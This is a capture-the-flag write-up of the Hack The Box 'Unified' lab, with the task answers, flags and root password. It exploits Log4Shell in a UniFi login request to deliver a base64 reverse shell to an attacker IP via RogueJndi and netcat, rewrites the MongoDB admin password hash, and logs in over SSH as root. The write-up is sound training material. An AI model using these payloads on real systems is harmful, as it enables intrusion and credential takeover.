Tasks
Which are the first four open ports?
What is the title of the software that is running running on port 8443?
What is the version of the software that is running?What is the version of the software that is running?
What is the CVE for the identified vulnerability?
What protocol does JNDI leverage in the injection?
What tool do we use to intercept the traffic, indicating the attack was successful?
What port do we need to inspect intercepted traffic for?
What port is the MongoDB service running on?
What is the default database name for UniFi applications?
What is the function we use to enumerate users within the database in MongoDB?
What is the function we use to update users within the database in MongoDB?
What is the password for the root user?
NotACrackablePassword4U2022
User flag
6ced1a6a89e666c0620cdb10262ba127
Root flag
e50bc93c75b634e4b272d2f771c33681
Notes
First, let’s go with rustscan
rustscan --ulimit 5000 --addresses "10.129.96.149" --top -- -sC -sV
From the results, we see that the first 4 ports at 22, 6789. 8080, and 8443
We also see that an SSH server is being ran, along with the fact that UniFi Network was also running on this box as well
Specifically, we can see that version 6.4.54 running
This is a really specific version, so there might be a CVE attached to it
In fact, doing a quick search, we see that this version is in fact vulnerable to CVE-2021-44228, or better known as the Log4j exploit
But first, we need to get through the login screen, so for that, we’ll use Burp Suite to help us out
We are then able to grab the specific packet going towards the /api/login endpoint, which is what we want to manipulate
POST /api/login HTTP/1.1
Host: 10.129.96.149:8443
Content-Length: 68
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138"
Content-Type: application/json; charset=utf-8
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: */*
Origin: https://10.129.96.149:8443
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.129.96.149:8443/manage/account/login?redirect=%2Fmanage
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
{"username":"test","password":"test","remember":false,"strict":true}
We can mess with the remember field, and do something like this:
...
"remember" : "$jndi:ldap://10.10.15.113/whatever)"
...
Obviously this will not really return anything, but the error itself tells us that at least it was accepted as a payload and attempted a run:
HTTP/1.1 400
vary: Origin
Access-Control-Allow-Origin: https://10.129.96.149:8443
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Access-Control-Allow-Origin,Access-Control-Allow-Credentials
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 64
Date: Fri, 02 Jan 2026 02:10:28 GMT
Connection: close
{"meta":{"rc":"error","msg":"api.err.InvalidPayload"},"data":[]}
So, what we can do is put in an interception with something like tcpdump
tcpdump -i tun0 port 389
So, we will use the Rouge JDNI program to get our payload onto the box
First, let’s create our payload first, and then run the server
[Jan 01, 2026 - 18:26:01 (PST)] exegol-htb-starting-point bin # echo 'bash -c bash -i >&/dev/tcp/10.10.15.113/4444 0>&1' | base64
YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTUuMTEzLzQ0NDQgMD4mMQo=
[Jan 01, 2026 - 18:27:38 (PST)] exegol-htb-starting-point bin # java -jar RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTUuMTEzLzQ0NDQgMD4mMQo=}|{base64,-d}|{bash,-i}" --hostname "10.10.15.113"
Now, let’s get a listener up and running
nc -lvp 4444
Now with that, we can modify our HTTP request to activate our payload:
"remember":"${jndi:ldap://10.10.15.113:1389/o=tomcat}",
We can then get our initial shell. Like before, let’s super basic:
[Jan 01, 2026 - 18:29:29 (PST)] exegol-htb-starting-point /workspace # nc -lvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.96.149.
Ncat: Connection from 10.129.96.149:44702.
whoami
unifi
So, to make it nicer, we can use something like this to upgrade it:
script /dev/null -c bash
Now, we are able to get that upgrade:
script /dev/null -c bash
Script started, file is /dev/null
unifi@unified:/usr/lib/unifi$ whoami
whoami
unifi
unifi@unified:/usr/lib/unifi$
We can now navigate the system to get the user flag
unifi@unified:/usr/lib/unifi$ cd /home
cd /home
unifi@unified:/home$ ls
ls
michael
unifi@unified:/home$ cd micheal
cd micheal
bash: cd: micheal: No such file or directory
unifi@unified:/home$ cd michael
cd michael
unifi@unified:/home/michael$ ls
ls
user.txt
unifi@unified:/home/michael$ cat user.txt
cat user.txt
6ced1a6a89e666c0620cdb10262ba127
Now, we are looking for a supposed MongoDB instance, so let’s find it:
unifi@unified:/home/michael$ ps aux | grep mongo
ps aux | grep mongo
unifi 68 0.3 4.1 1100672 84664 ? Sl 01:46 0:10 bin/mongod --dbpath /usr/lib/unifi/data/db --port 27117 --unixSocketPrefix /usr/lib/unifi/run --logRotate reopen --logappend --logpath /usr/lib/unifi/logs/mongod.log --p
idfilepath /usr/lib/unifi/run/mongod.pid --bind_ip 127.0.0.1
unifi 1481 0.0 0.0 11468 1072 pts/0 S+ 02:35 0:00 grep mongo
We are able to see that one does exist on this box
So, we can attempt to connect into the database
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
We are able to see that an admin account exists and we are also given the password hash
...
"_id" : ObjectId("61ce278f46e0fb0012d47ee4"),
"name" : "administrator",
"email" : "administrator@unified.htb",
"x_shadow" : "$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.",
"time_created" : NumberLong(1640900495),
"last_site_name" : "default",
...
We can see that this hash is SHA-512, but the problem is that it’s salted, so it’s hard to crack
However, we can instead create our own password, hash that, and then attempt to pass that hash in as a password reset
So, let’s create something easy:
[Jan 01, 2026 - 17:26:00 (PST)] exegol-htb-starting-point /workspace # mkpasswd -m sha-512 password
$6$uamwV4isXjJMubd7$zlDedlfGq8uMdoPrD1ZPdmLaFWS6Kj3ixD1qpD08RUv3HY5wZ4/dLU4gUW1dhFPQHEWmO3v7Lf9P1TyOGgqjj
Now, we can attempt to pass it in:
mongo --port 27117 ace --eval 'db.admin.update({"_id": ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$uamwV4isXjJMubd7$zlDedlfGq8uMdoPrD1ZPdmLaFWS6Kj3ixD1qpD08RUv3HY5wZ4/dLU4gUW1dhFPQHEWmO3v7Lf9P1TyOGgqjj."}})'
We are able to get the password to be set!
"_id" : ObjectId("61ce278f46e0fb0012d47ee4"),
"name" : "administrator",
"email" : "administrator@unified.htb",
"x_shadow" : "$6$uamwV4isXjJMubd7$zlDedlfGq8uMdoPrD1ZPdmLaFWS6Kj3ixD1qpD08RUv3HY5wZ4/dLU4gUW1dhFPQHEWmO3v7Lf9P1TyOGgqjj.",
And with that, we are able to get into the portal
An interesting feature of UniFI is that we can do SSH authentication, which is definitely something we can use
In fact, going into the settings, we are able to pull out full root credentials. Ouch
root:NotACrackablePassword4U2022
So, we can ssh into the box as the root user now
ssh root@10.129.96.149
root@unified:~# whoami
root
We are able to get the root flag from here
root@unified:~# cd /root
root@unified:~# ls
root.txt
root@unified:~# cat root.txt
e50bc93c75b634e4b272d2f771c33681